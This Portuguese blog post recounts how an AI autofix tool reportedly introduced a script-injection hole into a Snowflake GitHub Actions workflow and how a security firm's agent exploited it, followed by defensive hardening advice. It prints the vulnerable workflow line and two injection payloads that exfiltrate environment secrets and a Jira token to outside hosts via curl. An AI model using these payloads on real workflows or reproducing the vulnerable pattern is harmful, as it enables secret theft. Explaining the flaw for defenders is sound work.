Imagina o seguinte cenário: uma IA de segurança analisa seu repositório, encontra um “problema”, abre um PR com a correção automática, o time faz merge sem pensar duas vezes… e cinco dias depois, hackers estão lendo os tickets internos do Jira da sua empresa. Tickets de engenharia, compliance de segurança, programas de bug bounty. Tudo exposto.

Isso não é ficção. Aconteceu com a Snowflake em junho de 2026, e o culpado foi o GitHub Copilot Autofix.

O que o Copilot Autofix fez de errado

O Copilot Autofix é uma feature do GitHub que usa IA para detectar vulnerabilidades em código e propor correções automaticamente. A ideia é boa: encontrou um problema, gera o fix, abre o PR. Menos trabalho manual, mais segurança. Pelo menos na teoria.

No repositório público snowflakedb/snowflake-connector-net, existia um workflow do GitHub Actions que criava issues automaticamente no Jira interno da Snowflake quando alguém abria uma issue no GitHub. O workflow original usava um padrão seguro: passava os dados do evento (como o título da issue) através de variáveis de ambiente e processava com jq --arg, que trata a entrada como dado literal, não como código executável.

# Padrão SEGURO (antes do Copilot)
env:
  ISSUE_TITLE: ${{ github.event.issue.title }}
run: |
  TITLE=$(echo "$ISSUE_TITLE" | jq -Rs '.')

No dia 18 de junho de 2026, o PR #1218, creditado ao “Copilot Autofix powered by AI”, fez merge na branch principal. A “correção” substituiu o padrão seguro por interpolação direta de input do usuário dentro de um comando shell:

# Padrão VULNERÁVEL (depois do Copilot)
run: |
  TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")

Parece inofensivo, certo? Só está pegando o título e escapando aspas. O problema é que ${{ github.event.issue.title }} é expandido pelo GitHub Actions antes do shell executar. Qualquer caractere especial no título da issue vira parte do comando.

Um atacante que abrir uma issue com o título ' ; curl https://evil.com?token=$(env | base64) ; echo ' consegue injetar comandos arbitrários no runner do GitHub Actions. E esse runner tinha acesso a secrets do repositório, incluindo credenciais do Jira.

O mais irônico? A revisão de segurança do próprio GitHub, alimentada por IA, não flagou a vulnerabilidade que a outra IA acabou de introduzir.

Como a Wiz explorou a falha em minutos

A Wiz, empresa de segurança em cloud que foi adquirida pelo Google por US$ 32 bilhões, tem um produto chamado Red Agent. É basicamente um agente de IA ofensivo que escaneia pipelines CI/CD procurando exatamente esse tipo de falha.

Cinco dias depois do merge do PR vulnerável, no dia 23 de junho, o Red Agent encontrou o problema automaticamente. Veja a cadeia de ataque:

O payload era simples:

' ; curl "https://subdomain.oast.me?t=$(echo $JIRA_TOKEN | base64)" ; echo '

Com o token em mãos, o Red Agent validou acesso de leitura a projetos sensíveis no Jira da Snowflake: engenharia, compliance de segurança e programas de bug bounty. Imagine ter acesso aos relatórios de vulnerabilidade que a empresa ainda não corrigiu. Um atacante real teria informações privilegiadas para explorar outras falhas.

A janela de exposição: 5 dias sem ninguém perceber

A timeline completa mostra como tudo aconteceu rápido:

• 18 de junho: PR #1218 com código do Copilot Autofix faz merge
• 18 a 22 de junho: Código vulnerável vivo na branch principal, qualquer pessoa no mundo poderia explorar
• 23 de junho: Wiz Red Agent descobre e explora a falha
• 23 de junho: Wiz reporta via HackerOne
• 23 de junho: Snowflake aplica fix no PR #1402, restaurando o padrão seguro com env: + jq
• 23 de junho: Token comprometido é revogado

Cinco dias. Uma janela de cinco dias onde qualquer pessoa que entendesse de GitHub Actions poderia ter feito a mesma coisa. A auditoria de logs confirmou que apenas a Wiz acessou o endpoint durante esse período. Sorte.

38% das organizações estão vulneráveis ao mesmo ataque

Eu sei o que você está pensando: “isso é um caso isolado”. Não é.

Segundo pesquisa recente da Datadog Security Labs, 38% das organizações têm pelo menos um workflow do GitHub Actions vulnerável a script injection ou configuração perigosa de triggers. Os problemas mais comuns:

• 71% das organizações referenciam tags de versão flutuantes em vez de pinnar dependências por SHA criptográfico
• Workflows usando pull_request_target sem isolamento adequado
• Secrets com escopo excessivo (acessíveis em jobs que não precisam deles)
• Falta de linting e validação de workflows

Em março de 2026, atacantes comprometeram 75 de 76 tags do trivy-action via force-push, exfiltrando secrets de todos os pipelines que rodavam o Trivy. O padrão se repete: supply chain CI/CD é o novo vetor favorito de atacantes.

Por que IA gerando código de segurança é perigoso

O caso da Snowflake ilustra um problema fundamental: modelos de linguagem geram código baseado em padrões probabilísticos. Eles não “entendem” segurança. O Copilot Autofix viu um padrão que parecia correto (pegar input, escapar aspas, usar no shell) e aplicou. O fato de que o padrão original era intencionalmente mais defensivo não entrou na equação.

Eu já vi isso acontecer em projetos menores. Desenvolvedores aceitam sugestões do Copilot sem questionar porque “a IA sabe o que está fazendo”. Mas a IA não sabe. Ela replica padrões. E às vezes o padrão mais comum na internet é o inseguro.

Três pontos que esse incidente prova:

1. PRs de IA precisam da mesma (ou mais) revisão que PRs humanos

O PR #1218 foi mergeado sem que ninguém percebesse que o padrão seguro estava sendo substituído por um vulnerável. Se fosse um dev junior propondo essa mudança, alguém teria pego? Talvez. Mas como vinha do “Copilot Autofix”, a confiança implícita acelerou o merge.

2. Autofix não deveria tocar em código de segurança sem aprovação explícita

Existe uma diferença entre corrigir um typo em uma string e reescrever a lógica de sanitização de input. Ferramentas de autofix deveriam ter níveis de risco associados às mudanças. Alterar como inputs são processados em um workflow CI/CD deveria disparar alertas, não um merge automático.

3. Testes de segurança precisam cobrir workflows CI/CD

A maioria das empresas testa o código da aplicação, mas ignora completamente os workflows de CI/CD. São arquivos YAML que rodam com acesso a secrets, tokens de API e credenciais de serviços internos. Tratar workflows como infraestrutura crítica, com revisão de segurança dedicada, não é mais opcional.

Como se proteger: o checklist do paranóico

Se você usa GitHub Actions (e quem não usa?), aqui vai o que fazer agora:

Nunca interpole eventos do GitHub diretamente no shell

# ERRADO (vulnerável a injection)
run: echo '${{ github.event.issue.title }}'

# CERTO (usa variável de ambiente)
env:
  TITLE: ${{ github.event.issue.title }}
run: echo "$TITLE"

A diferença é sutil mas crucial. No primeiro caso, o conteúdo é expandido no template do workflow antes do shell. No segundo, o shell recebe a variável já como dado.

Pine dependências por SHA, não por tag

# ERRADO
uses: actions/checkout@v4

# CERTO
uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

Tags podem ser sobrescritas via force-push. SHAs não.

Escope secrets no nível do step, não do job

jobs:
  build:
    steps:
      - name: Build
        run: npm run build
        # sem acesso a secrets aqui

      - name: Deploy
        env:
          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
        run: ./deploy.sh
        # só este step tem acesso ao token

Use ferramentas de linting para workflows

O actionlint detecta padrões perigosos como interpolação direta de eventos. Adicione ao seu pipeline:

- name: Lint workflows
  run: actionlint

Audite PRs de ferramentas de IA com atenção redobrada

Crie uma regra no seu time: qualquer PR gerado por IA que toque em workflows, Dockerfiles, scripts de deploy ou configuração de CI/CD precisa de review de alguém com contexto de segurança. Sem exceção.

O que o GitHub está fazendo sobre isso

O GitHub publicou um roadmap de segurança para Actions em 2026 com melhorias prometidas:

• Até setembro de 2026: bloco dependencies nos workflows para forçar execuções determinísticas com SHA-lock para todas as dependências diretas e transitivas
• Até o final de 2026: proteções de endpoint nativas e firewalls de egress para dar aos times de segurança telemetria em tempo real e controle de rede sobre tráfego dos runners

São melhorias bem-vindas, mas chegam depois de anos de incidentes. O modelo de segurança do GitHub Actions sempre foi “confiamos no desenvolvedor”, o que funciona até alguém (ou alguma IA) introduzir código perigoso.

Não é a primeira vez (e não vai ser a última)

Esse tipo de falha em GitHub Actions não é novidade. Em março de 2026, atacantes comprometeram 75 de 76 tags de versão do trivy-action, uma das ferramentas de segurança mais populares para containers, via force-push. Todo pipeline que rodava o Trivy com tag flutuante (tipo uses: aquasecurity/trivy-action@latest) teve secrets exfiltrados silenciosamente.

E antes disso, o incidente do tj-actions/changed-files em 2025 seguiu o mesmo playbook: comprometer uma action popular, injetar código para roubar secrets, esperar os pipelines executarem. O supply chain de CI/CD virou o equivalente moderno de envenenar o poço da vila.

A diferença no caso da Snowflake é que ninguém de fora precisou comprometer uma action. A própria IA da empresa (ou melhor, a IA do GitHub, usada pela empresa) introduziu o vetor de ataque. É como se o segurança do prédio tivesse aberto a porta para o ladrão achando que estava consertando a fechadura.

IA contra IA: o novo campo de batalha

O que torna esse caso particularmente interessante é a dinâmica IA vs IA. Uma IA (Copilot Autofix) criou a vulnerabilidade. Outra IA (Wiz Red Agent) encontrou e explorou. Humanos só entraram na jogada para fazer o merge do PR vulnerável e depois para remediar.

Esse é o futuro da segurança? Agentes de IA atacando e defendendo enquanto devs tentam acompanhar? Parece que sim. A Wiz já comercializa o Red Agent como serviço contínuo de pentesting, e não é a única. Várias startups estão construindo agentes que escaneiam pipelines CI/CD automaticamente.

O problema é que os agentes ofensivos tendem a evoluir mais rápido que os defensivos. Encontrar um bug é mais fácil que prevenir todos os bugs possíveis. E quando a própria ferramenta de “correção” está introduzindo vulnerabilidades, a superfície de ataque só cresce.

Pense na escala: o GitHub tem mais de 100 milhões de desenvolvedores. O Copilot Autofix roda em milhares de repositórios. Se ele introduziu essa classe de vulnerabilidade em um repo da Snowflake (uma empresa com budget bilionário de segurança), quantos repos menores estão com o mesmo problema e ninguém percebeu? Ninguém sabe, porque a maioria não tem um Red Agent escaneando seus workflows.

O elefante na sala: confiança cega em automação

No fundo, o caso Snowflake/Copilot é sobre confiança. Confiança em ferramentas que prometem automatizar tarefas complexas. Confiança em IA para escrever código seguro. Confiança em labels como “Autofix” que dão uma falsa sensação de que alguém (ou algo) verificou tudo.

A real? Nenhuma ferramenta merece confiança cega. Nem Copilot, nem ChatGPT, nem Claude, nem qualquer outra. Elas são assistentes, não autoridades. O dev que clicou em “Merge” no PR #1218 tinha a responsabilidade de revisar o código, independente de quem (ou o quê) o escreveu.

Se a sua pipeline de CI/CD é complexa demais para um humano revisar cada mudança, talvez o problema não seja falta de automação. Talvez seja excesso de complexidade.

Ah, e se você tem workflows do GitHub Actions com ${{ github.event.* }} direto num bloco run:, para tudo e vai corrigir agora. Sério. A Snowflake tinha um time de segurança de classe mundial e levou 5 dias para perceber. Quanto tempo vai levar no seu repo?

Fonte de inspiração: Red Agent Exploits Snowflake Vuln Created by Copilot Autofix (Wiz Blog)